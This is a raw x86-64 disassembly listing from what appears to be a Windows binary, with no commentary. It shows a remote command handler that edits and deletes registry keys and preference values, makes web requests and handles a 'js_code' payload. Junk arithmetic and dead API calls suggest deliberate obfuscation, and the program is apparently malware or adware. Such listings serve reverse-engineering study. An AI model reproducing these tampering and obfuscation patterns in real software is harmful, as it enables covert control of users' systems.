jmp 0x140054014
lea rax, [rsp + 0x518]
mov qword [rsp + 0xec8], rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xbf8], rax
mov rdx, r15
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0x1090], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc08], rdx
lea rcx, [rsp + 0x328]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xed8], rax
lea rdx, [0x14013d020]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xc18], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1098], rdx
lea rcx, [rsp + 0x3a8]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xc28], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xee8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc38], rdx
lea rcx, [rsp + 0x318]
call fcn.140002c48
nop
lea rdx, [0x140137258]
lea rcx, [rsp + 0x518]
call fcn.140001f2c
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401a3d48]
lea r8, [rsp + 0x328]
lea rdx, [rsp + 0x3a8]
lea rcx, [rsp + 0x318]
call fcn.14003c184
mov byte [rsp + 0x62], al
mov rcx, qword [rsp + 0x318]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x528], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053fb8
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053feb
mov rdx, qword [rsp + 0x538]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x328]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005401d
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x1400570c7
mov al, byte [rsp + 0x62]
neg al
sbb cx, cx
mov word [r14 + 8], cx
mov r15d, 0xb
mov word [r14], r15w
jmp 0x1400570c7
lea rdx, str.setIntPref
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x14005458e
mov eax, dword [0x1401a8d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 7
jne 0x140054098
mov dword [rsp + 0x1140], edi
mov dword [rsp + 0x1168], edi
mov dword [rsp + 0x1198], edi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x10f0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xc48], rax
cmp byte [rax + 8], r15b
jne 0x1400570c7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xef8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xc58], rax
cmp byte [rax + 8], r15b
jne 0x1400570c7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x10b0], rax
lea rdx, [0x14013d020]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xc68], rax
mov cl, byte [rax + 8]
mov al, cl
sub al, r12b
cmp al, 2
jbe 0x140054145
cmp cl, 5
jne 0x1400570c7
mov byte [rsp + 0x60], dil
mov qword [rsp + 0x160], rdi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xf08], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0xc78], rax
lea rcx, [0x1401a9e10]
cmp rax, rcx
je 0x1400543f7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x1130], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xc88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf18], rdx
lea rcx, [rsp + 0x3f0]
call fcn.140002c48
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x160], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x3f0]
call fcn.140002ee4
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x160], rbx
mov ecx, dword [0x1401a8d80]
imul ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
mov r15d, 0xb
cmp ecx, r15d
jne 0x14005425d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop
mov rcx, qword [rsp + 0x3f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005428f
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rbx, str.param
cmp qword [rsp + 0x160], rdi
je 0x1400543fd
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xc98], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0x10c0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xca8], rdx
lea rcx, [rsp + 0x3b8]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xf28], rax
lea rdx, [0x14013d020]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xcb8], rax
mov rcx, rax
call fcn.14002f1c4
mov dword [rsp + 0x2bc], eax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x1100], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xcc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf38], rdx
lea rcx, [rsp + 0x338]
call fcn.140002c48
nop
mov r9, qword [rsp + 0x160]
lea r8, [rsp + 0x3b8]
lea rdx, [rsp + 0x2bc]
lea rcx, [rsp + 0x338]
call fcn.14003c660
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x338]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x568], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400543c5
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054572
mov rdx, qword [rsp + 0x578]
jmp 0x140054569
mov r15d, 0xb
lea rax, [rsp + 0x588]
mov qword [rsp + 0xcd8], rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x10d0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xce8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf48], rdx
lea rcx, [rsp + 0x3f8]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xcf8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0x1120], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd08], rdx
lea rcx, [rsp + 0x348]
call fcn.140002c48
nop
lea rdx, [0x140137258]
lea rcx, [rsp + 0x588]
call fcn.140001f2c
mov rbx, rax
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xf58], rax
lea rdx, [0x14013d020]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xd18], rax
mov rcx, rax
call fcn.14002f1c4
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401a3d48]
lea r8, [rsp + 0x3f8]
lea rcx, [rsp + 0x348]
call fcn.14003d078
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054540
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054572
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x1400570c7
mov al, byte [rsp + 0x60]
neg al
sbb cx, cx
mov word [r14 + 8], cx
jmp 0x14005403a
lea rdx, str.removePref
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140054ec2
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
mov r15d, 0xb
cmp ecx, r15d
jne 0x14005461e
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x2f4
movsxd rcx, r8d
lea eax, [r15 - 7]
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bc638
mov qword [rsp + 0x10e0], rax
mov rcx, rax
call fcn.1400be0fc
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xd28], rax
lea rbx, str.keyPath
mov rdx, rbx
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xf68], rax
cmp byte [rax + 8], 4
jne 0x140054e8c
mov byte [rsp + 0x61], dil
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xd38], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0x1110], rax
lea rcx, [0x1401a9e10]
cmp rax, rcx
lea rcx, [rsp + 0x68]
je 0x140054bc5
lea rdx, str.param
call fcn.14002f6a0
mov qword [rsp + 0xd48], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xf78], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd58], rdx
lea rcx, [rsp + 0x230]
call fcn.140002c48
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x230]
call fcn.140002ee4
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x1080], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xd68], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xf88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd78], rdx
lea rax, [rsp + 0x220]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0xe8], eax
test eax, eax
je 0x14005487e
test r14, r14
je 0x14005478d
mov dword [r14 + 8], eax
mov ebx, 0x16
mov word [r14], bx
mov rcx, qword [rsp + 0x230]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400547c0
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400547f0
mov rdx, qword [rsp + 0x5c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x140054808
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], 0xf
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054857
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x10a8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xd88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf98], rdx
lea rcx, [rsp + 0x358]
call fcn.140002c48
nop
mov rdx, qword [rsp + 0x358]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x980], eax
mov rcx, qword [rsp + 0x220]
test eax, eax
jne 0x14005496e
lea rdx, [0x140137258]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0xe8], eax
test eax, eax
jne 0x14005495c
mov eax, dword [0x1401a8d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xc
jne 0x140054a84
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
jmp 0x140054a84
test r14, r14
je 0x140054a92
mov dword [r14 + 8], eax
jmp 0x140054a0a
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov r13d, eax
mov dword [rsp + 0xe8], eax
test eax, eax
je 0x140054a15
mov eax, dword [0x1401a8d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 4
jne 0x1400549fd
mov ecx, 0x28
call fcn.1400bc638
mov r15, rax
mov qword [rsp + 0xd98], rax
mov ebx, edi
mov dword [rsp + 0x1d8], ebx
cmp ebx, 0xa
jge 0x1400549eb
call fcn.1400bd978
mov ecx, eax
add ecx, dword [0x1401a8d80]
movsxd rax, ebx
mov dword [r15 + rax*4], ecx
add ebx, r12d
jmp 0x1400549c6
mov eax, dword [r15 + 0x24]
mov dword [0x1401a8d80], eax
mov rcx, r15
call fcn.1400be0fc
test r14, r14
je 0x140054a92
mov dword [r14 + 8], r13d
mov ebx, 0x16
mov word [r14], bx
jmp 0x140054a92
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 3
jne 0x140054a84
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x2f4
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bc638
mov qword [rsp + 0x10b8], rax
mov rcx, rax
call fcn.1400be0fc
test r14, r14
je 0x140054a92
mov word [r14 + 8], si
mov word [r14], r15w
mov rcx, qword [rsp + 0x220]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rsp + 0x358]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054ad4
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x230]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054b07
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054b37
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x140054b4f
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], 0xf
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054b9e
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
lea r13, str.param
mov rdx, r13
call fcn.14002f6a0
mov qword [rsp + 0xda8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xfa8], rax
cmp byte [rax + 8], 4
jne 0x140054d51
mov rdx, r13
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x9c8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0x9d0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9e0], rdx
lea rcx, [rsp + 0x400]
call fcn.140002c48
nop
lea rdx, [0x140137258]
lea rcx, [rsp + 0x368]
call fcn.140001f2c
nop
mov rdx, r13
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x9f0], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xa00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa10], rdx
lea rcx, [rsp + 0x3c8]
call fcn.140002c48
nop
lea r8, [rsp + 0x400]
lea rdx, [rsp + 0x368]
lea rcx, [rsp + 0x3c8]
call fcn.14003b7e4
mov byte [rsp + 0x61], al
mov rcx, qword [rsp + 0x3c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054cec
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x368]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054d1f
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x400]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x648], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054e75
mov rdx, qword [rsp + 0x648]
jmp 0x140054e6c
lea rdx, [0x140137258]
lea rcx, [rsp + 0x2d0]
call fcn.140001f2c
nop
lea rdx, [0x140137258]
lea rcx, [rsp + 0x3d8]
call fcn.140001f2c
nop
mov rdx, r13
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xa20], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xa30], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa40], rdx
lea rcx, [rsp + 0x378]
call fcn.140002c48
nop
lea r8, [rsp + 0x2d0]
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x378]
call fcn.14003b7e4
mov byte [rsp + 0x61], al
mov rcx, qword [rsp + 0x378]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x658], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054e10
mov rdx, qword [rsp + 0x658]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x668], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054e43
mov rdx, qword [rsp + 0x668]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x678], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054e75
mov rdx, qword [rsp + 0x678]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x140054e8c
mov al, byte [rsp + 0x61]
neg al
sbb cx, cx
mov word [r14 + 8], cx
mov word [r14], r15w
mov ecx, dword [0x1401a8d80]
imul ecx, ecx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
cmp ecx, 6
jne 0x1400570c7
sub dword [0x1401aad00], r12d
jmp 0x1400570c7
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
je 0x14005625b
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
je 0x14005625b
lea rdx, str.requestGet
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140055672
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
lea rcx, [0x140137258]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
mov qword [rsp + 0x2f0], rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xa50], rax
lea rdx, [0x14013a8fc]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xa60], rax
cmp byte [rax + 8], r15b
jne 0x1400555c0
test r13, r13
je 0x1400555c0
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xa70], rax
lea rdx, [0x14013a8fc]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xa80], rax
lea rdx, [rsp + 0x13e0]
mov rcx, rax
call fcn.14002ef44
mov qword [rsp + 0xa90], rax
cmp qword [rax + 0x18], 0x10
jb 0x140054fbf
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140002c48
nop
xor r8d, r8d
mov dl, r12b
lea rcx, [rsp + 0x13e0]
call fcn.14000136c
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0x90]
call fcn.14000d74c
mov ebx, eax
mov dword [rsp + 0x258], eax
test eax, eax
jle 0x140055109
add ebx, 6
mov dword [rsp + 0x258], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0x90]
call fcn.1400bf938
mov qword [rsp + 0xaa0], rax
test rax, rax
jne 0x140055038
mov eax, esi
jmp 0x140055043
sub rax, qword [rsp + 0x90]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x688]
lea rcx, [rsp + 0x90]
call fcn.14000d78c
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140001ff8
nop
mov rcx, qword [rsp + 0x688]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x698], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400550a4
mov rdx, qword [rsp + 0x698]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rdx, str.js_code
lea rcx, [rsp + 0x2e0]
call fcn.140002c48
nop
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x90]
call fcn.140019d3c
nop
mov rcx, qword [rsp + 0x2e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055101
mov rdx, qword [rsp + 0x6a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r13, qword [rsp + 0x2f0]
xor edx, edx
lea rcx, [rsp + 0x440]
call fcn.14002ebb8
nop
call fcn.140051510
test al, al
jne 0x1400551dd
mov r11d, edi
mov dword [rsp + 0x268], edi
mov r15d, 0xb
cmp r11d, r15d
jge 0x1400551dd
mov r10d, edi
mov dword [rsp + 0x1f8], edi
cmp r10d, 0xa
jge 0x1400551cd
mov ebx, edi
mov dword [rsp + 0x288], ebx
cmp ebx, 4
jge 0x1400551bd
lea r8d, [rbx + 1]
mov dword [rsp + 0x120], r8d
lea ecx, [r10 + 1]
mov eax, dword [0x1401a8d80]
cdq
idiv ecx
mov r9d, edx
mov eax, dword [0x1401a8d80]
cdq
idiv r8d
imul r9d, eax
mov eax, dword [0x1401a8d80]
sub eax, r11d
imul r9d, eax
movsxd rax, r11d
lea rcx, [rax + rax*4]
movsxd rax, r10d
lea r8, [rax + rcx*2]
movsxd rax, ebx
lea rcx, [rsp + 0x1b10]
add rcx, rax
mov byte [rcx + r8*4], r9b
mov ebx, dword [rsp + 0x120]
jmp 0x140055151
add r10d, r12d
mov dword [rsp + 0x1f8], r10d
jmp 0x140055149
add r11d, r12d
mov dword [rsp + 0x268], r11d
jmp 0x140055136
lea rdx, [0x14013a964]
lea rcx, [rsp + 0xfc0]
call fcn.14002ec30
nop
lea rdx, [0x14013a938]
lea rcx, [rsp + 0x440]
call fcn.14002f6a0
mov rcx, rax
lea rdx, [rsp + 0xfc0]
call fcn.14002eebc
nop
lea rcx, [rsp + 0xfc0]
call fcn.14002ee10
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xab0], rax
lea rdx, [0x14013a8fc]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xac0], rax
lea rdx, [rsp + 0x1400]
mov rcx, rax
call fcn.14002ef44
nop
mov rdx, rax
lea rcx, [rsp + 0xfe0]
call fcn.14002ec74
nop
lea rdx, [0x14013a8fc]
lea rcx, [rsp + 0x440]
call fcn.14002f6a0
mov rcx, rax
lea rdx, [rsp + 0xfe0]
call fcn.14002eebc
nop
lea rcx, [rsp + 0xfe0]
call fcn.14002ee10
nop
xor r8d, r8d
mov dl, r12b
lea rcx, [rsp + 0x1400]
call fcn.14000136c
lea rdx, [0x14013a974]
lea rcx, [rsp + 0x1000]
call fcn.14002ec30
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x440]
call fcn.14002f6a0
mov rcx, rax
lea rdx, [rsp + 0x1000]
call fcn.14002f888
nop
lea rcx, [rsp + 0x1000]
call fcn.14002ee10
